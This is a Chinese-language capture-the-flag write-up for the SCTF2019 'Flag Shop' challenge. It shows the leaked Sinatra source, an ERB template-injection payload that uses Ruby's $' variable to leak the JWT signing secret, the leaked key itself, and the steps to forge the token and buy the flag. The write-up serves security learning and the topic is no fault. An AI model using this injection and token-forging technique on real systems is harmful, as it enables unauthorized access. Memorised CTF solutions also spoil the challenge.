[SCTF2019]Flag Shop

1

ERB 的全称是 Embedded Ruby(嵌入式 Ruby),其实就是个动态模板


扫到robots.txt

打开发现filebak

image-20260301205057132

filebak打开看到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"] //我们的目标在这ma?
输出位置(关键):puts 指令在服务端编程中是把内容打印到 服务器的控制台(黑窗口),而不是返回给你的 浏览器页面。即便你触发了这一行,Flag 也只是印在选手的服务器后台,你在屏幕上什么也看不到。
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
1
2
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]

我们让传入的secret为空,就变成了ENV["SECRET"].match(" "),当而外面的match匹配到了空,

$’的意思为选取 “匹配成功后的后面的全部字符”

那$’为key了

1
2
3
4
5
6
if params[:do] == "#{params[:name][0,7]} is working" then

...

ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
//最后 .result 返回处理完的纯 HTML 给浏览器

我们要在这里插入name=<%=$'%>

erb就回去找$’,然后用result把结果给我们看

但这里需要params[:do] == “#{params[:name][0,7]} is working”

do=<%=$'%> is working

payload

1
?name=<%=$'%>&do=<%=$'%> is working&SECRET=

拿到key

image-20260301211735220

key:

1
63d90e4f927ffcb3e25521ee51110a546eaf3f47f016b1e749ef6ba0ab321133c9e14c3483a838e0db99ce91f47042e4d5cc5f36e1b39a57c57a37afebb50abe

去改cookie

https://www.bejson.com/jwt/

image-20260301212132917

抓包上传cookie

源代码里面是post,不是get,要注意一下

image-20260301212547871

得到

image-20260301212205681

解码

image-20260301212240348